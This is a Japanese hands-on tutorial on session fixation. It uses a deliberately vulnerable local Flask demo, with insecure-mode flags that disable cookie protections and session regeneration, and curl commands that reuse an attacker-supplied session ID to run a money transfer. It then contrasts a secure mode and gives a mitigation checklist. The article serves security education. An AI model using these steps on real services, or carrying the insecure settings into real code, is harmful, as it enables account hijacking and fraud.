1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】Session Fixation を理解して実演する — `flask-session-demo` を使ったハンズオン

Last updated at Posted at 2025-09-17

はじめに

  • Session Fixation(セッション固定) は、攻撃者があらかじめ用意したセッションIDを被害者に使わせ、被害者がログインした後もそのIDが認証済みのままになることで攻撃者がなりすます攻撃です。
  • 対策は 「ログイン成功時に必ずセッションIDを再生成(regenerate/rotate)する」 こと。
  • 本記事では flask-session-demo(教育用サンプル)を使って、脆弱モードでの再現手順(curl コマンド)と安全モードでの対照実験を示します。

1. セッション固定とは

攻撃者が事前に作成・知っているセッションID(例:attacker123)を被害者に使わせ、被害者がログインしてもサーバがセッションIDを再生成しなければ、その attacker123 は認証済みとなり、攻撃者が同じ ID でログイン済み操作を実行できるようになる攻撃です。


2. 攻撃の流れ

  1. 攻撃者が attacker123 を用意する。
  2. 被害者を誘導してその session を使わせる(Link、Set-Cookie、誘導ページ等)。
  3. 被害者がそのセッションでログインする。
  4. サーバがセッションIDを再生成しない → attacker123 が認証済みになる。
  5. 攻撃者は attacker123 を使って不正操作を行う。

3. 環境:flask-session-demo の前提

  • リポジトリ構成は本文の中で説明した flask-session-demo(教育用)を想定。
  • login_fixation エンドポイントが「受け取った sid をそのまま Set-Cookie する」デモ実装になっている。
  • transfer エンドポイントはログイン済みユーザのみ許可される簡易 API (デモ用)。

Source Code
https://github.com/sayhellotogithub/pythontest/tree/main/project/flask-session-demo


4. 実演:脆弱モードでの再現手順(curl)

以下は 脆弱モード(ログイン時のセッション再生成をスキップ)で起動して実行する手順です。

1) サーバ起動(脆弱モード)

# プロジェクトルートで
INSECURE_NO_HTTPONLY = os.getenv("INSECURE_NO_HTTPONLY", "true").lower() == "true"
INSECURE_NO_SECURE_COOKIE = os.getenv("INSECURE_NO_SECURE_COOKIE", "true").lower() == "true"
INSECURE_NO_SAMESITE = os.getenv("INSECURE_NO_SAMESITE", "true").lower() == "true"
INSECURE_SKIP_SESSION_REGEN_ON_LOGIN = os.getenv("INSECURE_SKIP_SESSION_REGEN_ON_LOGIN", "true").lower() == "true"
INSECURE_XSS_COMMENT = os.getenv("INSECURE_XSS_COMMENT", "true").lower() == "true"


python3 app.py
# あるいは docker compose up --build (docker-compose.yml に env を設定)

サーバは http://localhost:5001 を想定します(ポート違う場合は適宜読み替え)。

2) Victim(被害者)が攻撃者仕込みの SID でログイン

(ここで attacker123 を攻撃者が用意したセッションIDとする)

curl -i -c victim_cookies.txt -X POST \
  -d "sid=attacker123&username=alice&password=password123" \
  http://localhost:5001/login_fixation
  • -c victim_cookies.txtSet-Cookie が保存されます。脆弱モードなら session=attacker123 が入っているはずです。

確認:

cat victim_cookies.txt
# (Set-Cookie ヘッダを確認して cookie 値が attacker123 になっているか見る)

3) Attacker(攻撃者)が同じセッションで認証操作を実行

curl -i -b "session=attacker123" -X POST \
  -d "to=attacker&amount=1000" \
  http://localhost:5001/transfer

期待挙動(脆弱)

HTTP/1.1 200 OK
...
Transferred 1000 to attacker by alice

→ 攻撃者は alice の権限で transfer を実行できてしまう。


5. 対照実験:安全モードでの挙動確認

サーバを止めて(Ctrl+C)以下で再起動します:

INSECURE_NO_HTTPONLY =False
INSECURE_NO_SECURE_COOKIE =False 
INSECURE_NO_SAMESITE = False
INSECURE_SKIP_SESSION_REGEN_ON_LOGIN =False

python3 app.py

同じ手順(Victim が /login_fixationsid=attacker123 を送る → Attacker が session=attacker123 を使う)を実行すると、攻撃者は認証済み操作を実行できないはずです(401login required、または被害者のセッションが別 ID に置き換わっている)。

curl -i -b "session=attacker123" -X POST \
  -d "to=attacker&amount=1000" \
  http://localhost:5001/transfer
HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.1.3 Python/3.13.0
Date: Wed, 17 Sep 2025 13:19:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 14
Connection: close

6. なぜセッション再生成が効くのか(短い理由)

ログイン成功時に既存の(攻撃者が与えた)セッションを破棄して新しいランダムなセッションIDを発行すれば、攻撃者が事前に知っていた ID は無効になります。つまり「攻撃者が使おうとしているIDはログイン後は使えない」ため、固定攻撃が成立しません。


7. 検出・対策チェックリスト(運用)

  • ログイン成功時にセッションID を再生成しているか?(必須)
  • 認証 cookie に HttpOnly; Secure; SameSite=Lax が設定されているか?
  • セッションID を URL パラメータに載せていないか?
  • サーバ側ログでログイン前後の session ID の変化を監査しているか?(検知用)
  • 同一 session が短時間に複数 IP / 複数ユーザで使われていないか監視する(異常検出)
  • 必要ならログイン後の IP / UA 変更があれば再認証やセッション破棄を行う

8. 付録:ワンコマンドで試す(脆弱モードが立っている前提)

# Victim logs in with attacker-supplied SID
curl -s -c victim_cookies.txt -X POST -d "sid=attacker123&username=alice&password=password123" http://localhost:5001/login_fixation

# Attacker reuses known SID to call transfer
curl -i -b "session=attacker123" -X POST -d "to=attacker&amount=1000" http://localhost:5001/transfer

まとめ

  • Session Fixation は比較的単純だが危険な脆弱性。ログイン時のセッションID再生成が最も重要な対策
  • flask-session-demo のような教育用サンプルで「脆弱モード ↔ 安全モード」を切り替えながら違いを確認すると理解が深まります。
  • 本番環境では cookie の属性やサーバ側のセッション管理(ストアや取り消し)も含めて包括的に設計してください。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?